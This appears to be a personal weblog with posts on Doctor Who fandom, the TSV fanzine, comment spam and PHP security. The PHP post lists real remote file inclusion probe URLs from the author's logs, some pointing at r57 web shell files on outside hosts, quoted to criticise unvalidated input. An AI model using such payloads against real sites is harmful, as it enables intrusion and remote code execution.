Alden Bates' Weblog

I'm entirely too addicted to collecting Robot Heroes. What's the use of growing up if you're not allowed to play with toys any more?

Behind you! Oh, never mind.

Shamus asks Would you have survived in the middle ages?

I've actually considered this before. My main handicap would be my short-sightedness, but I can't think of anything to date which might have been life threatening enough to kill me had modern medicine not been there. Although I do wonder how people managed with short-sightedness before they invented glasses. Just bumped into things a lot, I guess, which might mean I'd have had a fatal accident by falling onto a trebuchet or something.

I'm going to slack off tonight and link to one of Allyn's posts on a dissertation on the "Theology of Doctor Who.". This goes into quite a bit more depth than The Bible According to Doctor Who which appeared in TSV 33 and also covers the new series (though unfortunately not series 3, which has some religious themes most notably in the last three-parter...)

The latest casting announcement from the Doctor Who production team has a lot of fandom in an uproar, with many of them comparing the casting to that of Bonnie Langford some 20 years ago with Lawrence Miles taking this to extremes.

OTOH gordon_r_d's cartoon on this matter is full of win.

I'm not going to mention who's been cast at this point, as it may be regarded as a spoiler, but for the score I think this is a great casting decision. Also, I like Bonnie Langford but you probably knew that already.

TSV 48 is now online. Between issue 47 and this issue (published in August 1996), three notable events occurred in the world of Doctor Who.

1.) the TV Movie, also known variously as "Doctor Who: The Movie" and "The Enemy Within", the first new television Doctor Who in some 7 years. As you might expect, there's reviews of the TV Movie itself, the novelisations, and the script book, as well as an article on the cuts made to the BBC video and even a speculative piece written by Neil Lambess on who the Doctor's mother is. Yes.

2.) Jon Pertwee sadly passed away, so there's a biography, tributes, and an item on the Telecom commercials which Jon did back in 1986. These would make a good DVD extra, if the BBC can get their hands on copies...

3.) The Virgin New Adventures put out their fiftieth novel, Happy Endings, so there's an interview with author Paul Cornell and a review, as well as an interview with Lance Parkin, who was to write the last Doctor Who New Adventure before Virgin lost the licence, and who's book A History of the Universe was also reviewed.

There's nothing from me in this issue, but several pieces in the next, which is also the longest issue of TSV so far...

See also: write-ups by Paul and Jamas
Previously: TSV 47

This season was pretty good, all in all. The only clangers being the Dalek two-parter and, to a lesser extent, The Lazarus Experiment. As always, spoilers are liberally given below.

It took a while for the spammers to catch up, but as of the 28th, one of them started hitting a decoy comment script on here. The comments weren't very interesting - just collections of links to his spammy sites which were all .info sites. Sample domains:

noleggio-auto-ita.info
german-musikvideo.info
fr-musique.info
pc-france.info
1-minijob-de.info
1oferta-trabajo.info
software-para-abogado.info
1achat-logiciel.info
1crm-software-de.info
it-musica-italiana.info
infojobs-net-es.info

They're all registed to one Dan Georgius, with the address str.10 building 1, Victoria, Mahe, the Seychelles and an organisation of MBM Ltd. The sites themselves are physically hosted in China. Dan appears to have been at it a while - here's a Wiki item from over a year ago with a different address.

Mr Georgius, I am very cranky.

Yesterday I went to see...

Unfortunately I ended up sitting next to the obligatory guy who shouted "WHOA!" and "OH MY GOD!" whenever anything vaguely impressive happened, so it mostly served to remind me why I don't go to the movies much. But I did enjoy it. Spoilers follow:

Watch out - I'm about to make myself sound like a snob. :)

What is it about PHP that spawns applications with security holes? My site gets hit a lot by people/bots probing for security holes, and said hack attempts exclusively include "php" somewhere in the URL. Witness a smattering of hack attempts that have occurred recently:

• /index.php?plugin=http://perdu.ch/cgi-bin/echo?
• ///plugin/HP_DEV/cms2.php?s_dir=http://secretagent.by.ru/r57.php??
• /plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=http://www.kebcomputer.com/cache/tests.txt??
• /get_session_vars.php?path_to_smf=http://www.eclypse.info/oche?
• /archives/2005/bridges/SMF/logout.php?path_to_smf=http://utenti.lycos.it/r57/stringa.txt?
• /index.php3?p=http://www.freewebs.com/enemyownz/id.txt?
• /index.php3?i=http://80.201.236.78/~pat/evilx?
• /plugins/%3Cwbr%20/%3Epagedarchives.html/index.php?page=http://www.techgoiania.com.br/components/com_juice/canboy1?

As an aside, even an idiot could see that last URL wouldn't work. Evidently the tool used to probe it was written by a chimp. But I digress.

What's with all the security holes in PHP apps? Is it just that PHP is so popular for web development that it has the same problem as Windows (the majority use it, so hacks are more common)? Of course, all of the URLs there have something in common - they obviously count on the application in question using input from the end user without validating it first. Is there something in PHP which tends to encourage this sort of thing, or just that it's so widely used that it attracts more lazy programming?

Of course, both Wordpress and Movable Type (both applications which I use on this site) have had security holes - one uses PHP, the other uses Perl, and both are written to a very high standard. Both are also widely used, which suggests to me that PHP is a victim of its own success. Like Windows, they're so common that any security holes are highly sought after by hackers.

That said, I'd be extremely hesitant about installing any other PHP applications here...

I noticed the other day that one of the larger blog directories, blogwise.com, seems to have gone bye bye. The domain's still registered, but resolves to 0.0.0.0 and the most recent cached pages I can find in Google are from late April. Is it an... ex-directory? Seriously, what the heck's happened there?